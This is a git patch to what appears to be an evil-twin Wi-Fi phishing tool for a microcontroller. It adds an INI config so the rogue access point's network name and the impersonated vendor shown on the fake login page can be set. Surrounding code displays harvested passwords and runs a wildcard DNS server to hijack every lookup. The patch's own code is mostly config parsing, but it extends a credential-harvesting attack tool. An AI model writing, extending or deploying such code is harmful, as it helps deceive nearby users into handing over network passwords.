From 7b0a524ec348b73814129767198cffc132e18e2a Mon Sep 17 00:00:00 2001 From: Himadri Bhattacharjee <107522312+lavafroth@users.noreply.github.com> Date: Sat, 26 Jul 2025 13:14:02 +0530 Subject: [PATCH] feat: add config support --- data/config.ini | 2 ++ src/main.cpp | 51 +++++++++++++++++++++++++++++++++++++++++++++---- 2 files changed, 49 insertions(+), 4 deletions(-) create mode 100644 data/config.ini diff --git a/data/config.ini b/data/config.ini new file mode 100644 index 0000000..93e4521 --- /dev/null +++ b/data/config.ini @@ -0,0 +1,2 @@ +essid=Test Access Point +vendor=Test Vendor diff --git a/src/main.cpp b/src/main.cpp index 75087d8..f623a32 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -53,14 +53,49 @@ void display_potfile() { potfile.close(); } +typedef struct Config { + bool error; + String essid; + String vendor; +} Config; + +Config load_config() { + File config_file = LittleFS.open("config.ini", "r"); + if (!config_file) { + Serial.println("fatal: failed to open config for reading"); + return Config { error: true }; + } + + String fragment; + String essid; + String vendor; + bool key { true }; + int captured = 0; + while(config_file.available()) { + if (key) { + fragment = config_file.readStringUntil('='); + key = false; + continue; + } + if (fragment == "essid") { + captured++; + essid = config_file.readStringUntil('\n'); + } + if (fragment == "vendor") { + captured++; + vendor = config_file.readStringUntil('\n'); + } + key = true; + } + if (captured == 2) return Config { error: false, essid: essid, vendor: vendor }; + return Config { error: true }; +} + void setup() { Serial.begin(115200); Serial.println("\r"); Serial.println("core::setup starting ap"); - WiFi.softAPConfig(gateway, gateway, subnet); - WiFi.softAP("Full_House", "peepeepoopoo"); - if (!LittleFS.begin()){ Serial.println("error: failed to mount LittleFS"); return; @@ -68,6 +103,14 @@ void setup() { Serial.println("core::setup displaying passwords collected"); display_potfile(); + Config config = load_config(); + if (config.error) { + Serial.println("fatal: configuration file is invalid"); + return; + } + WiFi.softAPConfig(gateway, gateway, subnet); + WiFi.softAP(config.essid); + File web_file = LittleFS.open("index.html", "r"); if (!web_file) { Serial.println("fatal: failed to open web page for reading"); @@ -76,7 +119,7 @@ void setup() { webpage = web_file.readString(); web_file.close(); - webpage.replace("VENDOR", "peepeepoopoo"); + webpage.replace("VENDOR", config.vendor); // pretend to be the gateway and every other site in existence dns.start(DNS_PORT, "*", gateway);